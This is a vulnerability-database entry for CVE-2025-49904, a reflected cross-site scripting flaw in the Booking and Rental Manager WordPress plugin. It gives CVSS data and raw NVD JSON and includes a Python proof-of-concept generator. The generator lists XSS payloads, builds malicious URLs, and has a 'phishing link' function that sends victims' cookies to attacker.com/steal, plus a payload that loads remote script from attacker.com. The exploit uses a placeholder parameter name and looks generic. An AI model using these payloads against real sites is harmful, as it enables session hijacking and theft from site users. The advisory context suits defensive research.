Security Vulnerability Report
中文
CVE-2025-49904 CVSS 7.1 HIGH

CVE-2025-49904

Published: 2025-11-06 16:15:54
Last Modified: 2026-04-27 20:16:16

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in magepeopleteam Booking and Rental Manager booking-and-rental-manager-for-woocommerce allows Reflected XSS.This issue affects Booking and Rental Manager: from n/a through <= 2.5.3.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

booking-and-rental-manager-for-woocommerce <= 2.5.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import urllib.parse # CVE-2025-49904 PoC - Reflected XSS in booking-and-rental-manager-for-woocommerce # Target: WordPress site with vulnerable plugin <= 2.5.3 def generate_xss_payload(): """ Generate various XSS payloads for testing """ payloads = [ # Basic script injection '<script>alert(document.domain)</script>', # Event handler injection '" onerror="alert(document.cookie)', # img onerror injection '<img src=x onerror=alert(1)>', # SVG injection '<svg onload=alert(document.domain)>', # iframe injection '<iframe src="javascript:alert(document.cookie)">', # jQuery based XSS '<script>$.getScript("http://attacker.com/malicious.js")</script>' ] return payloads def build_malicious_url(base_url, payload): """ Build malicious URL with XSS payload Replace 'param_name' with actual vulnerable parameter after reconnaissance """ encoded_payload = urllib.parse.quote(payload) malicious_url = f"{base_url}?param_name={encoded_payload}" return malicious_url def generate_phishing_link(base_url, target_domain): """ Generate phishing link that steals cookies """ steal_cookie_script = '<script>document.location="http://attacker.com/steal?c="+document.cookie</script>' encoded = urllib.parse.quote(steal_cookie_script) phishing_url = f"{base_url}?redirect={encoded}" return phishing_url # Example usage if __name__ == "__main__": target = "http://vulnerable-wordpress-site.com" plugin_page = "/booking-manager/" base_url = target + plugin_page print("=== CVE-2025-49904 PoC Generator ===") print(f"Target: {target}") print("\nGenerated Malicious URLs:\n") for i, payload in enumerate(generate_xss_payload(), 1): url = build_malicious_url(base_url, payload) print(f"{i}. {payload}") print(f" URL: {url}\n")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49904", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:54.243", "lastModified": "2026-04-27T20:16:15.880", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in magepeopleteam Booking and Rental Manager booking-and-rental-manager-for-woocommerce allows Reflected XSS.This issue affects Booking and Rental Manager: from n/a through <= 2.5.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/booking-and-rental-manager-for-woocommerce/vulnerability/wordpress-booking-and-rental-manager-plugin-2-5-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}